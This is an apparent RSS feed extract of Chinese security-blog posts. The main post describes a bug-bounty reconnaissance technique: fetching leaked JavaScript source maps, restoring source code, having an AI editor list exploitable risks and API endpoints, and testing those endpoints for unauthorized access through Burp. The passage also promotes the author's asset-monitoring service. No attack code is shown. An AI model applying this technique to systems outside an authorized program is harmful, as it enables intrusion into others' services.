src="https://wechat2rss.xlab.app/img-proxy/?k=48aa6447&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZo7RljArfmbba9nViaLxkIDIYkEj7qbYIKaVUhq4qY2YazlHID1Nl1F3gT4NqjjBJHesOoliciaYdLDjI7xMBSibc2CI4Bia4EFQ3Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" nodeleaf=""><img data-aistatus="1" alt="image-20260327090733285" class="rich_pages wxw-img" data-ratio="0.4962962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;" data-imgfileid="100016856" src="https://wechat2rss.xlab.app/img-proxy/?k=f78cb948&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTZTIOg97rMnJee4UfA0KBCYtCCRq3PMY7BN7iaN2fzzxicVy0cDo2t0xrMTyrgt8xRGRN7CeAR97Ao9EtiaE6RT4RCu7AqcK5x3l0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">不想挖 web 了，看看小程序和 APP 也是个不错的选择，最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">注册地址：</span></span><span leaf=""><a href="http://src.xazlsec.com" target="_blank">http://src.xazlsec.com</a></span><span style="box-sizing: border-box;"><span leaf="">（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5555555555555556" data-s="300,640" data-type="jpeg" data-w="900" type="block" data-imgfileid="100016742" src="https://wechat2rss.xlab.app/img-proxy/?k=a7aa9e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTYCLG3nbQGj1PzcHTtGjMtGo3dibibDzKxxWTicH9x3F1oz7TJO7GDmIp9Zr0uoZZLf1MmLXmlWRiaGFhF3Yom896b6aO5eueXjVm4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=140dc572&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500510%26idx%3D1%26sn%3D48e82192088cf9e38b62b28e70b670bc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Mar 2026 09:21:00 +0800</pubDate>
    </item>
    <item>
      <title>快来看，编辑器正在帮我挖漏洞啦！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500501&amp;idx=1&amp;sn=5c53d57ac297669909b6cf318e1d66cf</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-03-26 08:40</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c4591ffe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTbzIw6Dk2RGhk5ev2jDPmuErlBlmXkXPpmMDR43dtGZa6X5hI56ZILiaId8RnFnwCxPmfOFQPNiaHQwOU2qDibzXQMicPyYgVRTSao%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">今日未发现新的 SRC 活动上线，目前在活动期内的 SRC 如下：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326081645588" class="rich_pages wxw-img" data-ratio="0.5259259259259259" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016844" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=27a0c902&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTaIAib0IPfvRwnjwp2WGQVb91oPVUJzWv0zKYHsTfzadAcuFZdnRmWdR4Yx7Cm10p2lJESGX4znwn7CHF8G7WoZlDXID3FKYIicM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">今天来分享个好玩儿，昨天收集了一些 js map 泄露的路径，为了方便测试，做了一点研究，JavaScript 的 .map 文件是 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">Source Map（源码映射）</span></span></strong><span style="box-sizing: border-box;"><span leaf="">文件，用于将压缩、编译后的代码映射回原始源代码。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">也有不少网站在发布系统时，没有将 .map 文件删除，导致 map 文件泄露，有了这个 map 文件就可以将混乱的 js 代码还原出来，比如原本的 js 文件内容是这样的：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326082234240" class="rich_pages wxw-img" data-ratio="0.36574074074074076" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016843" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=13c6bcc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZTicictvHQQbgS1e6bWjHoEZUSTf2SeMLMT4Qyo7TriayXOZR36Pb1IDiaREuDe0KvImHjVvMnmCPwORtxWic70CArOlhTlrZHuS4U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">在 js 的后面增加 .map 后缀，返回的内容是这样的：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326082309571" class="rich_pages wxw-img" data-ratio="0.4148148148148148" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016845" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e19aa0d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYiacHtHGmrSd3Fzw3mme12d8YIVgzvJMXSW6fNHH6XiaRv2RqwbbT2KvjdHxqAeNLu0oUpv5jb55nUwBZslYuAHFewgf7p0wu5M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">接下来可以使用工具将 map 文件进行还原，我用的是一个脚本：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">github.com/rarecoil/unwebpack-sourcemap</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">还原后的代码是这样的：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326082517914" class="rich_pages wxw-img" data-ratio="0.4074074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016848" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a2811391&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTZ1K5yuWWibOOb6RZGYiaFRtmenuPuM1lfSZGefgdOJTFH3JWnrKqlTq9uzDh2zzhsRFZHuT5YdzbUsUKyl2XicGGXIcLrIWFSY4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">目录源码一目了然，这代码阅读起来就方便多了，也不知道大家能不能看出我的编辑器，用的是 Trea 集成了 AI 的编辑器，写起代码来很方便，SRC 资产管理系统就是用它一点一点完成的，如果没有它，我也写不出 SRC 资产管理系统。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">今天的重点不是用它来写代码，而是用它分析代码中的安全风险，比如上面我已经还原出了 js 的源码，那么接下来就交给 AI 来完成代码分析，找出其中的安全风险，比如告诉它：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">帮我只分析 output 目录下的所有文件，找出其中可利用的安全风险点，形成详细的报告</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">它设计的分析计划如下：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326082850983" class="rich_pages wxw-img" data-ratio="0.649155722326454" data-type="png" data-w="533" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016846" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=38b0375f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZw3oYxHicQfxRayAiacEEtKicNCvYvsS0dd8qluwR8wbzoFwjibJ4NHAs4ADhTxJR5RuBNtgibSeOMSgMxgQYhBpN7nkcib8GIQonIM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">它在思考的过程也极具学习价值，看看如何分析其中的安全风险，部分结果如图：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326083145285" class="rich_pages wxw-img" data-ratio="1.61003861003861" data-type="png" data-w="518" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016847" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f3c366c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbuibrvhFxVGHjic3AKrbx5HyvGlfhqTE1MTVvUXKFfZugl2snBQ6T1nkKCUtLYzTaOYsa0MXOiclHWCibFQv4icTgMc8m4etbMcrRM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">可以基于分析的结果进行下一步的动作，比如验证风险能否被利用，除此之外，还可以让 AI 帮我们整理其中的 API 接口，然后编写脚本，完成接口的请求并使用 burp 的代理，这样就可以在 burp 上查看是否存在未授权访问的接口问题，比如下面就是 AI 梳理出来的 api 接口列表：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260326083603609" class="rich_pages wxw-img" data-ratio="0.9093298291721419" data-type="png" data-w="761" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016849" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e47694e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYZL6LN7Isf0ygr3jvulyWtFJagBSsqRSQiaFTAItIBciaXSUucpibEWxJ6wBnOQ8f0I071FJD3RKAJGUtCeaJ2jIF7H7uQDSrxg4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">至于还能怎么用，大家自己去玩儿吧，这里只做抛砖引玉，剩下的就看你自己喽。</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">注册地址：</span></span><span leaf=""><a href="http://src.xazlsec.com" target="_blank">http://src.xazlsec.com</a></span><span style="box-sizing: border-box;"><span leaf="">（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）</span></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.5555555555555556" data-s="300,640" data-type="jpeg" data-w="900" type="block" data-imgfileid="100016742" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a7aa9e2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTYCLG3nbQGj1PzcHTtGjMtGo3dibibDzKxxWTicH9x3F1oz7TJO7GDmIp9Zr0uoZZLf1MmLXmlWRiaGFhF3Yom896b6aO5eueXjVm4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=074f3f24&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500501%26idx%3D1%26sn%3D5c53d57ac297669909b6cf318e1d66cf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Mar 2026 08:40:00 +0800</pubDate>
    </item>
    <item>
      <title>永久密钥：VIP99-SUPER-MAX66-PRO88-TOP01</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500490&amp;idx=1&amp;sn=762e60933c97ec1c066625d075a3ecfd</link>
      <description>真诚推荐！</description>
      <content:encoded><![CDATA[<p><span>信安之路</span> <span>2026-03-24 09:04</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4a799396&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTbEuLDrF4jthflYQ4uLsztG4dIMLdyltGpRq9ZLZasI1EJtH8e56FMnLZpzpYlibmqnZM5NfIyehUTn7GwyQTfG2FV7F5qHeZUU%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>真诚推荐！</p>
  <p class="mp_profile_iframe_wrp" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;" data-pm-slice="0 0 []"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="信安之路" data-alias="xazlsec" data-from="2" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAff6G9jJ5AdPvZ0Fgia0Qm6X5X9Jkm8coDOxGE5UhriblyFP93bTgsDZKRib73zicNBGwibb2MPs9bXH4pA/0?wx_fmt=png" data-signature="坚持原创，专注信息安全技术和经验的分享，致力于帮助十万初学者入门信息安全行业。" data-id="MzI5MDQ2NjExOQ==" data-is_biz_ban="0" data-service_type="1" data-verify_status="1"></mp-common-profile></p><p data-mpa-action-id="mi1qeqec244i" data-pm-slice="0 0 []" style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 1em;padding: 0px;outline: 0px;max-width: 100%;font-size: 17px;font-variant-ligatures: normal;orphans: 2;text-align: justify;widows: 2;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(51, 51, 51);font-family: mp-quote, &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-pm-slice="4 5 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-right: 1em;margin-left: 1em;max-width: 100%;white-space: normal;margin-bottom: 0px;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mk53ebow1eki" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 